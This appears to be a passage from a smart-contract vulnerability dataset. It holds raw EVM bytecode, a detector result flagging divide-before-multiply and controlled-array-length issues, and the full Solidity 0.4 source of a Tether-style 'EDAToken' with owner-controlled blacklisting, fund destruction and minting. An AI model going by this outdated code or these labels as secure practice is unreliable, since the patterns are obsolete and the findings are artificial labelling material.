0190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b60115481565b600c5481565b60105481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ccf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612d0b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612e0e57600080fd5b612e23836005546130d290919063ffffffff16565b6005819055506103e860648402811515612e3957fe5b049050612e51816005546130d290919063ffffffff16565b600581905550612ea983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f5f81600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d290919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b60008282111515156130c757fe5b818303905092915050565b60008082840190508381101515156130e657fe5b8091505092915050565b508054600082559060005260206000209081019061310e9190613111565b50565b61313391905b8082111561312f576000816000905550600101613117565b5090565b905600a165627a7a723058207fa4628e47bfa876c4ddb539d1f09561cd3708c9702d10c2059ccfc7df52a2f80029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,683 |
0xe48e9786a21a6ead6164cfacc5354547f969efb4 | pragma solidity ^0.4.26;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract EDAToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function EDAToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
} | 0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffff